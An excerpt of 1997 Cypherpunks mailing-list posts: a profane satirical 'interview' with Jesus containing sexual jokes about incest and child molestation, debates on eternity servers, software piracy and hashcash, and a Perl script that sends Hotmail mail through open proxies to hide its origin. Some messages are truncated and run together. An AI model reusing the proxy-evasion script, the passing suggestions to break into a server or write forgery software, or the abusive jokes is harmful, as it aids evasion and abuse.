Answer:"When the government declared that prostrate cancer was a threat
  to 'national security' and that early detection would 'protect the
  children' from child molesters and drug dealers."

  Since spirituality is not inherently related to fascism, it seemed to
me that the moral fascism being promoted by members of the Christian
community must be the result, not of spiritual values, but rather,
the result of the leader of the Christian religion being a moral
fascist.
  It was also obvious that, given the vast amount of lies being told
by Christians about their beliefs, motivations, and intentions, that
Christianity must be founded on lies and disinformation.
  Since I do not like to speak ill of someone without taking pains to
understand them from the standpoint of their own knowledge and beliefs,
I decided that I should have a talk with Jesus Christ, the founder and
espoused leader of the Christian religion, and give him a chance to 
respond to my view of himself and those who follow his example.

  Mr. Christ was kind enough to let me take notes during our long
conversation, so I am providing a transcript of the highlites of
the issues we discussed:
-----------------------
TruthMonger: "Mr. Christ..."
Jesus Christ: "Please, call me Jesus."

TruthMonger: "OK. Jesus, what the fuck is going on with all these people
  claiming that they have the right to force everyone on the face of the
  earth to live only within the boundaries of moral judgements approved 
  of by you?"
Jesus Christ: "Well, TruthMonger, you have to understand that I am the
  _only_ Way, the _only_ Truth, and the _only_ Light.  Accordingly, it
  is reasonable for my followers come to the conclusion that whatever
  I approve of is good and that everything else is bad."

TruthMonger: "As in, 'Everything Not Permitted, Is Forbidden!'?"
Jesus Christ: "Exactly. By the way, is that from '1984' or from 'Animal
  Farm'?"

TruthMonger: "Don't try to change the subject. Jesus! Oh, I mean that
  as a swear word, by the way...but this is exactly what I object to
  in your followers--the fuckers never give a straight, truthful 
  answer to the 'hard' questions. They always fall back on some inane
  quote of yours that has little to do with the issue being discussed."
Jesus Christ: "Well, you can't hold me accountable for their actions..."

TruthMonger: "Like _fuck_ I _can't_, shit for brains. You're in America,
  buddy, and we have conspiracy laws here. If the members of your cult
  go down, then you go down with them, and vice-versa.
  "You ever hear of Waco? David Koresh? Maharishi? John F. Kennedy?"
Jesus Christ: "You're trying to twist things around here, by comparing
  me and my followers to small cults and Democrats. After all, America
  is largely a Christian nation with Republican family values."

TruthMonger: "Bullshit! It's a democracy, with a legal seperation of
  Church and State. "America is a Christian nation" is just one more
  example of the lies your followers try to propogate every chance
  they get. It's clearly not true, but they refuse to face reality."
Jesus Christ: "I said, 'largely'."

TruthMonger: "Exactly. You use a word that infers that a 'majority'
  of Americans are Christian, in order to suggest that Christianity
  and Democracy are kissing cousins. This is the same goddamn thing
  that your followers do by constantly taking a smug, self-righteous
  stance that concepts like freedom, democracy, right and wrong, are
  all dependent on or connected to the Christian 'majority's' beliefs
  and morals.
  "You could just as well say, 'America is largely a "white" nation'
  but that pig doesn't fly anymore."
Jesus Christ: "Now _you're_ trying to twist _my_ words."

TruthMonger: "Christ! Oh, that's meant to be a swear word, too...BTW.
  "What I mean is that your words are being twisted a lot more by
  your Christian bum-buddies than I could ever hope to manage.
  "Which wouldn't concern me in the least if they weren't trying to
  force a potpourri of alleged 'superior' moral beliefs on the rest
  of us. This is the crux of the matter. As far as I am concerned.
  Christian fascism is the enemy of democracy and freedom."
Jesus Christ: "Well, that's one way of looking at it. However, you
  might also say, 'It's not perfect, but it's the best system we've
  got.'"

TruthMonger: "Please don't insult my intelligence. You could say the
  same thing about a bowl of 'shit' soup, if that's all that you put
  on the dinner menu. Christians and politicians have always tried
  to claim that their failure to permit true freedom should be seen
  as a sign that it cannot be achieved by others, either.
  "The logic is based on the assumption that politicians and Christians
  are superior to everyone else, and that they know and do what is
  'right'. Then they turn around and claim that, since they are doing
  what is 'right', that their judgements are superior to everyone 
  else's.
  "That's called Circular Logic, and that dog's getting old, too."
Jesus Christ: "When the Dogs of Holy War get old, they get craftier,
  as well."
  "In case you haven't noticed, the censoring of non-Christian beliefs
  is proceeding pretty much as it always has. When was the last time
  you heard of someone getting imprisoned for exposing children to
  Biblical tales of violence and sex, on or off of the InterNet?"

TruthMonger: "You've certainly got a point there. Tim May's vernacular
  translation of the Bible describes Lot fucking his daughters and the
  guy who pulls out and jerks off on the ground, or whatever, in great
  detail."
  "This serves to illustrate the hypocritical lies and bullshit that
  Christians promote. If Tim wrote a similar story about himself just
  screwing the living shit out of his children, then the fascist
  Christians would call for his imprisonment as a child molester,
  even if Tim announced it was fiction. But a Christian who puts the
  a story about Lot doing the same thing, only claiming that it is
  true, won't go to jail even if I stand up in court and testify
  that, after I read it, I went out and fucked my daughters."
Jesus Christ: "And your point is...?"

TruthMonger: "My point is that fucking is fucking, butt-fucking is
  butt-fucking, and there are enough people capable of free thought
  left in society, and who are wise to your Christian bullshit, that,
  if I were you, I wouldn't hurry back to take over until you're
  sure that your fascist lackeys have all the freedom lovers in
  chains."
Jesus Christ: "Is that supposed to be some kind of threat?"

TruthMonger: "Hey, pal. All I'm saying is that what is good for the
  gander is good for the goose.
  "As long as this country remains a democracy, then you'd better
  think twice about claiming to 'love all the little children' and
  you'd damn sure better make certain you have all the right permits
  before you go around turning water into wine."
Jesus Christ: "I resent the implication that I love the children 
  in anything but a purely 'spiritual' way."

TruthMonger: "Well, pal, the circumstantial evidence is against you
  on this one. Wasn't your father involved in some kind of scandal
  where he made a man and woman naked and then told them to fuck
  and party down?"
  "If I remember right, he had some kind of fetish about telling the
  Jews to fuck a lot and was always talking about their 'cum'."
Jesus Christ: "He used _decent_ words, like 'be fruitful and 
  multiply', and 'seed', not 'cum'."
  "And you should have capitalized the word 'Father' when you made
  mention of him, BTW"

TruthMonger: "Fuck you pal, I'm sending this to the CypherPunks
  mailing list. Are you the new list moderator? 
  "Good fucking luck..."
Jesus Christ: "I don't have to take this kind of abuse. I'm putting
  you on the 'flames' list."

TruthMonger: "Big deal. I'm already in Tim C. May's 'killfile'."
Jesus Christ: "If intolerance is such a Christian trait as you claim,
  then why is my 'flames' list smaller than Tim May's 'killfile'?"

TruthMonger: "Now you're twisting _my_ words. Are you related to
  Kent Crispin? Say... Come to think of it, why has no one ever seen
  the two of you together?"
Jesus Christ: "Let's just say that Kent and I agree on many issues
  that have to do with the sanctity of a higher authority.
  "No one has ever seen the evil Dr. Vulis and Satan together, either,
  but that's no proof of anything."

TruthMonger: "Bad example, dude. Bad example. You're practically 
  proving my point for me."
  "But now that you've brought it up, I would like to point out that
  both you and Satan are free to post anything you want on the 
  CypherPunks list, but if Tim May posted his vernacular translation
  of the Bible on Christian mailing lists, he would be hung by his
  hairy balls from the nearest church tower."
Jesus Christ: "How do you know Tim May has hairy balls?"

TruthMonger: "You've never been to a CypherPunks physical meeting,
  have you? Trust me, when the CypherPunks focus their energy on
  turning wine into water, _nobody's_ math skills are good enough
  to calculate what might take place."
Jesus Christ: "And your point is...?"

TruthMonger: "My point is that I'm drunk, it's late, and we both
  have a lot of work to do before the year 2000.
  "If you're planning to censor non-Christian values on the InterNet
  for 'all of eternity', then you'd better get to work on a way to
  stop the CypherPunks 'Eternity Server' from routing around fascist
  Christian moralism."
Jesus Christ: "Adam Back... Isn't he a member of that weirdo "Circle
  of Eunuchs" cult?"

TruthMonger: "That's for me to know, and for you to find out, pal.
  "Unless you can break PGP, of course."
Jesus Christ: "Hey, I'm just Jesus. I'm not Phil Zimmerman, for 
  _My_ sake."

TruthMonger: "Hey, watch your language."
Jesus Christ: "Sorry, I meant to say 'for _Dimitri's_ sake'."

TruthMonger: "I'll tell him you capitalized his name. He'll get a
  kick out of that.
  "Any last words before I turn in for the night?"
Jesus Christ: "Christianity recognizes privacy and freedom as damage,
  and steamrollers over them."

TruthMonger: "No shit!"
-----------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
All references to Tim C. May's Vernacular Translation of the Bible
are used without permission.
What's he going to do, sue me? Then he'd have to admits he gets
vicarious pleasure out of reading the posts in his killfile.
{There's more than _one_ way to push a  key.}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From aba at dcs.ex.ac.uk  Fri Aug  8 15:06:14 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 9 Aug 1997 06:06:14 +0800
Subject: recursive auction markets in software
Message-ID: <199708082151.WAA01986@server.test.net>

[re connection problems to www.replay.com -- Alex is running with the
Stronghold 1.4 webserver -- what you're seeing is a bug in it.
Presently Alex is going to go back to 1.3, unless C2 comes up with a
bug fix version.  I really should put up a note to this effect.  I'll
do that.

It's still usuable as it's an intermittent bug, and all you've go to
do keep clicking on the reload button in your browser, and it'll get
through after a few tries...

	http//:www.replay.com/aba/eternity/        ]

tzeruch wrote about legal problems which could happen if eternity is
used to sell, or distribute copyright software:

> The legal problems still need to be resolved.  As long as no copyrighted
> material appears I think things will be fine, but when MSwhatever appears,
> someone is going to say the eternity server is like an illegal cable
> descrambler or make up something very similar to ban them since they
> aren't merely forwarding the content from alt.anonymous.messages - if
> encryption is an envelope, the eternity server opens it.

The argument that it is a USENET message being forwarded after
reformatting may not help that much, -- we'll see how it works out.

If there were lots of eternity servers it would be better.

> Otherwise, you could simply post the plaintext to an alt group.  If
> that doesn't happen now (why?),

I dunno.  It could be for a number of reasons, you'd have to do a
survey of the warez d00dz that hang out on IRC channel #warez to see
why they don't do it.

I guess it's because they find easier to trade with DCC commands in
#warez.  I had a look at a #warez session in progress some time ago,
and the trades were going down every few minutes.  Take a look.
Especially games trades but also high price DTP and photo retouching
stuff.  You'd see `trade quark-Xpress 8 for registered quake' or
whatever come up a few times, and then it'd stop, and that handle'd
say thanks I've got it now.

IRC is less main stream, and these folks don't like the lime light
because they know that their 'warez trading habits are frowned upon by
many.

Another reason is that why should they bother, what's their
motivation?  They aren't making money from it I don't think, they're
just after copyright software without paying for it.  It's probably
just that the most efficient market for leveraging what they have got
copies of via trades is on IRC right now.

Another class of pirate is the Chinese (it is Chinese who do this
yes?) who make CDs full of commercial software and sell it way under
market price.

Perhaps that class of pirate would take off if the net bandwidth was
up to it.  Their next problem would be to control access to their
anonymous eternity page to allow themselves to get some money from it.

Perhaps eternity servers could be set up to charge for downloads and
pass back money to the anonymous poster.  But then how do you stop
someone else reposting it and charging a lower price?  Well you can't.
But that's all what recursive auction markets are about.  The reaches
a point of diminishing returns, and the user can buy freshly released
products more quickly from the first non-copyright abiding software
reseller, or they can buy it more cheaply if they wait as the price
falls over a few days.

Eric Hughes apparently gave a talk at a hacker con some time back
about UIPS `Universal Internet Piracy Service'.  I think his ideas
were to explore the financial aspects of trading system for illicit
software.  He wasn't planning to put up a distributed document store,
but to have an distribution medium were there was a continuous flow of
information.  As long as the information could still get through in
the face of hostilities from copyright police, it was doing it's job
and the software could be traded.  I don't think he's released
software yet, and I don't think there's any papers available on the
net, but it was still an active idea last I heard.

> then adding an encryptor and decryptor isn't going to change it,
> otherwise simply post the encrypted text, and the passphrase in the
> same message, or the encrypted text, the secret key, etc.  Except
> that the URL interface makes access more convienient.

Yup.  Actually it'll be much more convenient because it will disappear
out of the news spool presently, and the eternity servers might get to
the stage where they keep a virtual raid file server implemented by
exchanging documents from their caches, and can archive the most
popular stuff.

So because it's more convenient it's even less defensible as it's
providing some part of this service.

See the post about building a distributed dejanews replacement for
another approach to this problem which is probably more defensible.
Might turn out to be a better way if your suspicions prove correct.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <5sg43l$v7v$1@abraham.cs.berkeley.edu>

In article <199708080936.KAA01816 at server.test.net>,
Adam Back   wrote:
>
>Mike Duvos  writes:
>> Someone wrote:
>
>(That someone was me).
>
>>  > What about AOL disks?  We need shorter lived, disposable
>>  > remailers as exit remailers...  Let them take the heat,
>>  > while the real remailers walk.  Lets see a series of
>>  > "exitman" remailers.  Exitman remailers are walking targets
>>  > left to fend for themselves as long as they may.
>> 
>> By reconfiguring current remailers to use a public Email service
>> as the last link in the chain, we tap a potentially infinite
>> supply of disposable accounts, on advertising-supported service
>> providers with skins as thick as those of the bulk emailers.
>> 
>> Sounds like a plan to me.
>
>OK, lets _do_ it!

Sounds good to me.  Hotmail makes a note of the IP address that connected
to it, but luckily there's no shortage of HTTP proxies out there...

   - Ian

#!/usr/bin/perl -w

##
## sendhotmail: pipe an RFC822 mail message into this, and it will send it
##              out from a hotmail account via an HTTP proxy
##
## Initial revision 19970808 by Ian Goldberg 
##

## Set the following to your proxy host and port.
##  Look at the files pointed at by
##   http://ircache.nlanr.net/Cache/Tracker/caches/
##  for sample entries, but most of them don't allow just anyone to connect
##  to hotmail through them.

$proxyhost = 'proxy.slt.lk';
$proxyport = 8080;

## This is your hotmail login name and password
$login = ## Fill this in yourself
$passwd = ## Fill this in yourself

## End Configuration

sub escapetext {
    my $t = $_[0];
    $t =~ s/([\000-\037\200-\377\{\}\|\\\^\[\]\`\"\<\>\:\@\/\;\?\=\&\%\.\#])/"%".unpack('H2',$1)/eg;
    $t =~ s/ /+/g;
    $t;
}

## Parse the incoming mail (note that we don't handle continuation headers)
## Also, the To, Cc, and Bcc headers ought to be in a form hotmail understands
## (no full names, etc.).  We try to do the stripping properly.

$to = '';
$subject = '';
$cc = '';
$bcc = '';
while() {
    if (/^To:\s+(.*)/io) {
	$to = $1;
	$to =~ s/\(.*?\)//g;
	$to =~ s/\".*?\"//g;
	$to = &escapetext($to);
    } elsif (/^Subject:\s+(.*)/io) {
	$subject = &escapetext($1);
    } elsif (/^Cc:\s+(.*)/io) {
	$cc = $1;
	$cc =~ s/\(.*?\)//g;
	$cc =~ s/\".*?\"//g;
	$cc = &escapetext($cc);
    } elsif (/^Bcc:\s+(.*)/io) {
	$bcc = $1;
	$bcc =~ s/\(.*?\)//g;
	$bcc =~ s/\".*?\"//g;
	$bcc = &escapetext($bcc);
    }
    last if /^$/;
}
$msg = &escapetext(join("\r\n", ));

use LWP;

## Begin magic

$ua = new LWP::UserAgent;
$ua->proxy('http', "http://${proxyhost}:${proxyport}/");

$url = new URI::URL 'http://www.hotmail.com/cgi-bin/password.cgi';
$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content("login=${login}&curmbox=ACTIVE");

$response = $ua->request($request);
$body = $response->content;
$body =~ /\<\s*form\s+[^>]*action=\"(.*?)\"/io or die "Cannot log in";

$url = new URI::URL $1, $url;
$body = $';
$body =~ s/\<\s*\/form\s*\>.*//;
$body =~ /\<\s*input\s+[^>]*name=\"disk\"\s+value(=\"(.*?)\")?/io or die "Cannot give passwd";
$disk = $2 || "";

$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content("passwd=${passwd}&frames=no&disk=${disk}&curmbox=ACTIVE&login=${login}&js=no");
$response = $ua->request($request);
$body = $response->content;

$body =~ /\<\s*area\s+[^>]*href=\"(\/cgi-bin\/compose.*?)\"/io or die "Cannot compose";
$composeurl = new URI::URL $1, $url;
$body =~ /\<\s*area\s+[^>]*href=\"(\/cgi-bin\/logout.*?)\"/io or die "Cannot compose";
$logouturl = new URI::URL $1, $url;

$request = new HTTP::Request('GET', $composeurl);
$request->header(Pragma => 'no-cache');
$response = $ua->request($request);
$body = $response->content;

$body =~ /\<\s*form\s+[^>]*action=\"(.*?)\".*?\>/io or die "Cannot send message";
$url = new URI::URL $1, $composeurl;
$body = $';
$data = '';
while(1) {
    $body =~ /^\s*\<\s*input\s+type=\"?hidden\"?\s+name=\"(.*?)\"\s+value(=\"(.*?)\")?\s*\>/io or last;
    $name = $1; $value = $3 || ""; $body = $';
    $data .= $name."=".$value."&";
}
$data .= "to=${to}&subject=${subject}&cc=${cc}&bcc=${bcc}&body=${msg}&Send.x=1&Send.y=1";

$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content($data);
$response = $ua->request($request);
$body = $response->content;

$request = new HTTP::Request('GET', $logouturl);
$request->header(Pragma => 'no-cache');
$response = $ua->request($request);

From trei at process.com  Fri Aug  8 15:11:55 1997
From: trei at process.com (Peter Trei)
Date: Sat, 9 Aug 1997 06:11:55 +0800
Subject: Did anyone archive MPJ's site?
Message-ID: <199708082010.NAA16573@cygnus.com>

Did anyone manage to copy all of Mike Johnson's
North American Crypto archive before he pulled
the plug?

Peter Trei
trei at process.com

Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei at process.com

From paulmerrill at acm.org  Fri Aug  8 15:13:49 1997
From: paulmerrill at acm.org (Paul H. Merrill)
Date: Sat, 9 Aug 1997 06:13:49 +0800
Subject: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EBBB66.2C60@acm.org>

David D.W. Downey wrote:
> 
> You know, you are just about the biggest idiot I have ever had the
> displeasure of reading. For one, the largest religion in the US right
> now *is* in fact judeo-christian. The largest is Roman Catholic with
> Pentacostal Protestant following right behind. 

judeo-christian isn't a religion.  Christian is.

> Next, this country was
> founded on christian beliefs, or have you failed to read the words of
> the constitution of the US. Considering the apparent ignorance you have
> displayed thus far about the makeup of the US, I would venture to say
> that you probably have not read it.

I have read the Constitution and the history behind it.  The US was
founded by people trying to escape religious persecution and/or trying
to get rich.  In case you can't figure it out, forcing your views down
my throat IS religious persecution -- exactly the same sort that sent
the Pilgrims off on the Mayflower.

> Next, you attack christians for
> trying to control the content made available on the internet. At least
> the site ratings plan is better than alot of other plans I have seen.
> Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
> the spread of trash that *most* humans would want out of of the reach of
> their children? I have not seen you *once* offer a straightforward clear
> cut plan to efficiently handle *any* issue placed for discussion on this
> listserv. I have seen you do nothing but slam, belittle, and degrade
> others and their beliefs and ideas. 

That statement is somewhat similar to saying that if you don't like your
chains you are free to suggest the stocks or perhaps rope.

> You do this under the unimpressive
> tag of "TruthMonger". If anything, you are anything but a TruthMonger.
> When you can come up with a plan that even *remotely* seems like a
> logically thought out, planned, and intelligent proposal on how to
> handle the issues presented everyday on the internet that affect the
> computing industry balanced with a concern for the children, then I will
> listen. 

As long as the scum that gravitates toward LEAs and the Government
continue to do so it is relatively stupid to express (or defend) views
outside the accepted norm in an open fashion.  (I guess that makes me
sorta stupid, huh?)

> (And yes, I do agree that the parents of the children have an
> obligation to monitor the content they are exposed to. It's called
> responsible parenting which unfortunately is not a well practiced
> ideology. And to take the wind out of your sales, I have 2 children and
> as a parent I limit them to what is appropriate to their ages.)

I have two of my own and I don't see how "protecting" them in the ways
that you seem to like would do anything other than warp their worldview
to such a level that they will be esay prey for whatever scum they run
into in the meatworld.  

> Until
> such time as you can fulfill the obligations to us, the adult computing
> population, and our offspring, the children (just in case your fuddled
> mind does not know what they are), I suggest you rest those busy little
> fingers of yours and listen to the underlying theme of the issues before
> us. 

I don't know about TruthMonger but I did listen to the underlying theme
of the issues before us and I found that it was actually scum-suckers
and other bottom feeders trying their damnedest to steal my freedom. 
That's why I'm typing here and now.

> Until then, HateMonger, I have one suggestion for you..... Shut Up!

The hatemonger that I see in this interchange is not TruthMonger and
it's not me -- Let's see, I guess that leaves . . .

Not the TruthMonger,

Paul H. Merrill

From aba at dcs.ex.ac.uk  Fri Aug  8 15:16:40 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 9 Aug 1997 06:16:40 +0800
Subject: some hashcash advocacy (was Re: anti-spam law implies laws against remailers?)
In-Reply-To: <97Aug8.131019edt.32257@brickwall.ceddec.com>
Message-ID: <199708082145.WAA01973@server.test.net>

nospam-seesignature at ceddec.com writes:
> On Fri, 8 Aug 1997, Adam Back wrote:
> 
> > [hashcash]
> 
> I think you never answered the fundamental question:
> 
> But to what advantage is it for *ME* to use hashcash?
> 
> Saying that it is neat, patriotic, pious, or any other adjective won't get
> my anonymous mail through any faster unless you can create a cartel of
> remailers that expidite hashcashed mail, or use some type of new remailer
> that others don't have and build hashcash into the distribution. 

I wasn't talking about remailers above, but about end users.  Hashcash
allows the recipient to filter out email that hasn't got postage.

As an interim upgrade path ISPs adopting it could be to bounce
messages with out payments, and include a nonce, and instructions to
resend including the nonce.  Set up the filter so that the second post
gets through.  Spammers often don't have forged reply addresses for
obvious reasons.  

(If spam crept up too badly in-spite of this you could at that point
disable non-hash cash postage and give a URL for a java implementation
where they just go to the web page and their browser will generate
them some hash cash.  Obviously this is inconvenient so I would be
interested to see how the spammers adapted to just the nonce first.
It's much easier to block spammers if they have to include replyable
email addresses.)

You would also have a no-postage list, for mailing lists etc.

If we arrange so that spam won't get through without payment, it
disincentivizes spammers.  If some users go running around asking for
`government to do something about spam', it could be suggested to them
that it would be more effective to ask their ISP to install a hashcash
patched sendmail.

A remailer won't answer the bounce with nonce, so you automatically
won't get remailer traffic without postage -- unless you put remailers
on your no-postage list.

If you're some media celebrity and you get too much email -- just turn
up the squech, increase the postage required rate, and add people you
do want to your no-postage list.

You could auto-add anyone you ever manually replied to to the
no-postage list even.

> You still have the problem that a large organization can buy large
> computers just to do hashcash - look for networkable hashcash generators
> if it becomes popular.

I think the easiest initial way for the spammer to continue spamming
you would be to target mailing lists, using forged addresses.

Spam on mailing lists instead of mail is also a good thing for us,
because we already have solutions for spam on mailing lists:
decentralised 3rd party ratings -- NoCeMs can be applied to mailing
lists.  Allowing us to recommend good posts or mark what we consider
spam.  Individual users can decide which rating service to use.

If you consider that hashcash can be setup to only charge postage for
people you have never replied to in the past, this heavily
discriminates against people who send large amounts of mail to random
people.  (Which is precisely the spammers mailing pattern!)

Another solution with real ecash is to send ecash payment with mail
and have filters that will similarly bounce messages if there is no
ecash.

The recipient by societal convention is expected not to cash the
payment.  People who cash your money you don't tend to send more email
to.  You could easily charge $1 and that would be a high price for the
spammer -- it would be cheaper to snail mail you the spam.

The above doesn't seem very friendly, or very in keeping with the
spirit of free discourse.  I think hashcash is nicer in this respect.

I've taken the stuff on eternity to another message.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199708081827.TAA01595@server.test.net>

Dimitri Vulis  writes:
> jbaber at mi.leeds.ac.uk writes:
> 
> > Any comments/glareing weaknesses that I have missed?
> 
> I used to think this scheme is very cool.  Later I realized it had a
> serious problem with forgeries in one's name.
>
> Suppose X forges an article in Y's name, and specifies a cancel
> lock; then Y can't cancel this forgery.

But that's cool!  Y shouldn't be able to cancel the forgery ... he
didn't write it.  That's the definition of censorship, removing some
one else's content.

I mean this seriously.  People should stop misplacing any value on
>From fields.  You need to use digital signatures to recognize
persistent personas.

The quicker people realise this the better.

It is in cypherpunks interests to see as many forgeries as possible.
Because then the natural solution is for people to use digital
signatures.  More people using crypto, the harder it is to outlaw.

(Dimitri: perhaps you need to code some easy to use high quality
forgery software to go with your cancel bot).

> The retraction server which David is reported to be working on
> doesn't rely on passwords on authenticate Y; if Y can demonstrate
> the ability to receive a cookie sent to Y, then the server can issue
> a signed 'hide' NoCeM for an article that purports to be from Y.
> Works for forgeries too.

(David = David Formosa?)

What's the point of this?  To provide a way to stop unsophisticated
forgeries without needing NoCeM support in the client? 

I guess it would work well enough, but it's really a bit centralised.
The operator of the retraction server might be over trusted by a lot
of people.  If the operator turns out to be untrustworthy, or
whatever, you're out of luck.

Also break into his machine and steal his secret key and you could
have a _lot_ of fun.  And it's only one machine, what if his security
isn't up to much.

Think decentralised.  That's the whole advantage NoCeM, it's
decentralised approach to providing a third party USENET news article
rating system.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <33EBBCBE.5F95@acm.org>

I think you better check the IDs a little better next time.  That
interview was with someone from the religious hierarchy (or someplace
significantly lower)  ((it is so hard to tell them apart these days))
not Jesus.  Time is just about ripe to drive the moneychangers from the
temple again.

After all, you wouldn't like it if DDWD were to put out hisparty line
spoutings under TruthMonger would you?  In much the same way, I am sure
that Jesus does not care for the atrocities that have been and will be
done in his.

Paul H. Merrill

From ariel at watsun.cc.columbia.edu  Fri Aug  8 16:06:09 1997
From: ariel at watsun.cc.columbia.edu (Ariel Glenn)
Date: Sat, 9 Aug 1997 07:06:09 +0800
Subject: Did anyone archive MPJ's site?
Message-ID: 

I got parts of it but am missing much of the PGP and almost all of PGP
tools :-(

I am hoping someone else got those parts. Otherwise I can get some of
it from MIT, I suppose...

Ariel Glenn / AcIS R&D / Columbia University
ariel at columbia.edu
std.. blah....

From enoch at zipcon.net  Fri Aug  8 16:13:47 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Sat, 9 Aug 1997 07:13:47 +0800
Subject: Distributed Dejanews
Message-ID: <19970808230710.13219.qmail@zipcon.net>

Adam Back  writes:

 > Recap on old idea of using dejanews and altavista

 > However is another important reason not to use altavista or
 > dejanews: it's not decentralised.  If something
 > sufficiently hot gets published they'll both be taken off
 > line long enough to figure out how to disable access to
 > eternity.  Even if they can't do it ultimately because of
 > sufficiently advanced public key text steganography, it'll
 > disrupt the service.

If we aren't going to actually shell out money for a worldwide
network of Eternity file servers, we have to use existing
publicly available services as our distributed data haven.

The more places we can stash things, the merrier.

Currently, we post documents to Usenet, and keep them alive by
reposting prior to the server expiring them.  This is robust, not
easily censored, and little effort.

I see nothing wrong with having the server also examine Dejanews
for Eternity documents, lightly stegoed to avoid the deletion of
encoded data.  To the extent that Dejanews serves as a more
permanent repository of data than Usenet, fine.  The worst thing
that can happen is that documents get removed, in which case, the
guardian of the document in question returns to keeping it alive
on Usenet.  All this is transparent to people using Eternity to
read documents.

Dejanews likely removes encoded data because of storage
requirements, not because of content.  Unless the Eternity
business becomes a significant fraction of Usenet bandwidth,
stego wars with Dejanews are unlikely.

 > A distributed deja-news replacement

 > So what are the storage requirements?  What does dejanews
 > have in their machine room?  (Huge raid server?  How many
 > Gigs?).

Dejanews started in 1995.  By 1996, they had 80 million articles
in 15,000 Usenet newsgroups.  They currently have 109 million
articles.  The Dejanews database is presently 180 gigabytes. They
index all the "most active" Usenet newsgroups, minus binaries and
some other controversial content.

A week of a full Usenet feed is presently just a tad over 20
gigabytes, and is growing by leaps and bounds.

 > I'm wondering if 1000 academic nodes, small and large ISP
 > nodes, and indivduals each contributing 1Gb each could out
 > perform deja-news.

That's more storage than Dejanews currently has.  Performance is
another issue.

 > That'd be 1Tb.  How long would 1Tb last at the being
 > consumed at a rate of a full USENET feed?

Less than one year, if you kept everything.

 > On top of distributed news archive, build an eternity
 > service

 > So with the eternal news archive, you now have everything
 > you need to easily build an eternity server.

 > How practical is this?

Not very.  You are tossing out one of the most useful aspects of
Usenet news as a Distributed File System, namely acting as a
"Giant FIFO" of what is interesting during any particular window
of time.

 > How much interest is there likely to be in creating a full
 > USENET archive as a distributed net based effort.

None at all.  Keeping everything that had ever been posted to
Usenet forever would be a giant waste of resources.

What I suspect you need here is the "Distributed File System" of
the future, which could carry Usenet as well as support Web, NFS,
FTP, and all other popular protocols to access its content.

It would be a giant FIFO with hundreds of gigabytes of capacity,
with reliable transport, authentication, encryption, and a
micropayment system for accessing and prolonging the lifetime of
data stored on it.  It would of course be uncensorable, as Usenet
is today, and the Eternity Service could run on top of it, as
well as a lot of other interesting things.

 > It's clearly got vastly larger storage requirments than
 > storing the full set of eternity articles posted to USENET.
 > However it has wider uses, and has lots of innocuous reasons
 > to exist.  I guess it's quite an interesting project in it's
 > own right.  You could start with just some newsgroups, and
 > build up as a way to boot strap it.  But it may be harder to
 > generate enough interest to deploy this than to deploy
 > enough eternity servers to do build a distributed archive
 > of just eternity articles.

It's certainly interesting to think of what the ultimate DFS for
the Internet might look like, given the various white papers on
NC, thin clients, fat servers, and big pipes.

But this isn't something that is going to happen overnight.  To
the extent that we employ Usenet in interesting new ways as a DFS
today, we create working models of many of these concepts and
demonstrate their feasibility.

 > How soon could it happen?

 > Who knows.  What do people reckon the interest would be in a
 > distributed complete USENET archive for it's own sake.  For
 > purposes of the archive cancels would not be applied.
 > Indeed archive the cancels too, and the control messages for
 > everyone to see for perpetuity who did and said what.

Well, the disk manufacturers would probably love it, and want it
replicated every ten feet across the planet.  I don't know about
other people.

 > Perhaps it will be more realistic to build a distributed
 > archive for eternity documents only first.  If it is
 > designed as a separate service, then it could be the same
 > software to do either, just restrict it to
 > alt.anonymous.messages, or just for alt.anonymous.messages
 > passing a filter program.

 > Comments?

First of all, instead of thinking of this in terms of being the
singing and dancing Usenet archive of all time, we would do much
better if we thought of it as a protocol-independent Network-wide
Distributed File System with configurable characteristics suited
to a wide variety of applications.

If we could put together a prototype with a small number of
nodes, and demonstrate it could carry both Usenet and Eternity as
well as provide NFS3 access to commonly requested Network
binaries, all supported by an integrated micropayment scheme,
that would go a long way towards making it a standard.

Would anyone care to donate some storage, cycles, and a fast pipe
to the Net?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}

From nobody at REPLAY.COM  Fri Aug  8 16:44:19 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 07:44:19 +0800
Subject: The BIG Lie (Jesus Confesses)
Message-ID: <199708082309.BAA22877@basement.replay.com>

At 06:26 PM 8/8/97 -0400, you wrote:
>You know, you are just about the biggest idiot I have ever had the
>displeasure of reading. For one, the largest religion in the US right
>now *is* in fact judeo-christian.

Showing many people suffer from delusion.

>The largest is Roman Catholic with
>Pentacostal Protestant following right behind. Next, this country was
>founded on christian beliefs, or have you failed to read the words of
>the constitution of the US.

